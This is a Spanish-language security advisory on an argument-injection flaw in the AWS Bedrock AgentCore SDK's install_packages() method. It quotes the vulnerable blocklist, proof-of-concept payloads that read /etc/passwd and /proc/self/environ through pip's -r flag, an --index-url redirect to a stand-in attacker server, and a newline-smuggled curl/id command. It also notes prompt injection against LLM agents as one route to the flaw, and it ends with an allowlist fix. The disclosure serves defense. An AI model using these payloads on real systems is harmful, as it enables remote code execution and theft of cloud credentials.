Resumen
El método install_packages() del SDK de Python de AWS Bedrock AgentCore (bedrock-agentcore-sdk-python) validaba los nombres de paquete con una lista negra incompleta. Varios vectores de inyección la esquivaban; el más grave, el flag --index-url de pip, permitía redirigir la resolución de paquetes hacia un servidor PyPI controlado por el atacante y así ejecutar código arbitrario dentro del sandbox del Code Interpreter.
Se le asignó CVE-2026-12530. Afecta a todas las versiones de bedrock-agentcore-sdk-python hasta al menos la v1.4.8.
Causa raíz
El código vulnerable está en src/bedrock_agentcore/tools/code_interpreter_client.py (líneas 588-598):
# Sanitize package names (basic validation)
for pkg in packages:
if any(char in pkg for char in [";", "&", "|", "`", "$"]):
raise ValueError(f"Invalid characters in package name: {pkg}")
packages_str = " ".join(packages)
upgrade_flag = "--upgrade " if upgrade else ""
command = f"pip install {upgrade_flag}{packages_str}"
self.logger.info("Installing packages: %s", packages_str)
return self.invoke("executeCommand", {"command": command})
La lista negra comprueba ;, &, |, ` ` y $, pero no contempla la propia sintaxis de flags de pip. Como las cadenas validadas se concatenan directamente en el comando pip install`, cualquier flag de pip que use solo caracteres alfanuméricos, guiones, barras y puntos pasa la validación. Vectores concretos:
- Inyección del flag
--index-url/-i: los caracteres-,/,:y.están permitidos. Un "nombre de paquete" como--index-url https://evil.com/simple/ malicious-packagepasa la validación y ordena a pip descargar paquetes de un servidor del atacante. - Inyección de salto de línea (
\n): no está en la lista negra. Un nombre como"pandas\ncurl http://attacker.com/exfil"inyecta un segundo comando. - Inyección del flag
-r:"-r /etc/passwd"hace que pip intente leer un fichero local como fichero de requisitos, filtrando su contenido en los mensajes de error.
Pasos de reproducción
Requisitos previos:
- Cuenta de AWS con acceso a Bedrock AgentCore (cualquier usuario autenticado, sin permisos especiales). La vulnerabilidad existe en toda sesión del Code Interpreter.
- El SDK
bedrock-agentcoreinstalado (pip install bedrock-agentcore) para ejecutar el script de PoC. El SDK no es necesario para la vulnerabilidad en sí: el mismo métodoinstall_packages()está disponible en cualquier sesión del Code Interpreter, incluida la consola de AWS o cualquier aplicación construida con el SDK.
- Ejecutar el script de PoC que el investigador adjuntó al reporte,
demo-pip-injection.py:
python3 demo-pip-injection.py
- Observar la salida:
STEP 1: Blocklist correctly blocks shell injection
Blocked: Invalid characters in package name: pandas; curl http://evil.com
STEP 2: Bypass blocklist -- read /etc/passwd via -r flag
ERROR: Invalid requirement: 'root:x:0:0:root:/root:/bin/bash'
STEP 3: Escalate -- read /proc/self/environ for secrets
TOOLS_SERVER_LOG_LEVEL=info
PLATFORM_SERVER_HOST=127.0.0.1
PLATFORM_SERVER_PORT=48620
TOOLS_SERVER_PORT=8080
El script recorre tres fases:
- Fase 1: la inyección de shell con
;sí queda bloqueada por la lista negra. - Fase 2:
-r /etc/passwdesquiva la lista negra; pip lee el fichero y filtra su contenido en los mensajes de error. - Fase 3: se escala a
-r /proc/self/environ, que filtra todas las variables de entorno del sandbox (rutas internas, puertos, configuración de servicios).
Vectores adicionales (fuera del script de PoC):
# Redirects pip to an attacker-controlled PyPI server
code_client.install_packages(["--index-url", "https://attacker.example.com/simple/", "malicious-package"])
# Confirmed via interactsh: DNS requests from AWS Code Interpreter IPs
code_client.install_packages(["pandas\nid"])
# The 'id' command executes separately after pip install
El primero redirige pip a un servidor PyPI del atacante (el investigador lo confirmó con interactsh, recibiendo peticiones DNS desde IPs del Code Interpreter de AWS). El segundo usa un salto de línea para que el comando id se ejecute por separado tras el pip install.
Impacto
Un atacante que pueda influir en los argumentos de install_packages() —por ejemplo mediante inyección de prompt contra un agente LLM que use el Code Interpreter— podía:
- Leer ficheros arbitrarios del sandbox con el flag
-rde pip. Confirmado: el contenido de/etc/passwdy/proc/self/environse filtró en los mensajes de error de pip. Las variables de entorno expuestas revelaban la arquitectura interna del sandbox (rutasgenesis1p-tools, puertos internos de servicio como 48620 y 8080, y configuración de procesos). En sandboxes con roles IAM,/proc/self/environfiltraríaAWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEYyAWS_SESSION_TOKEN. - Redirigir la resolución de paquetes a un mirror PyPI malicioso con
--index-url. Confirmado: peticiones DNS desde las IPs del Code Interpreter de AWS ([REDACTADO], [REDACTADO]) alcanzaron un servidor OOB de interactsh, lo que prueba que el sandbox se conectó a un servidor del atacante. - Ejecutar comandos arbitrarios en el sandbox del Code Interpreter mediante inyección de salto de línea.
Remediación
El investigador recomienda sustituir la lista negra incompleta por una lista blanca que solo acepte nombres de paquete PyPI válidos (con especificador de versión opcional), bloqueando así toda inyección de flags y de comandos:
import re
VALID_PACKAGE_NAME = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$')
for pkg in packages:
if not VALID_PACKAGE_NAME.match(pkg):
raise ValueError(f"Invalid package name: {pkg}")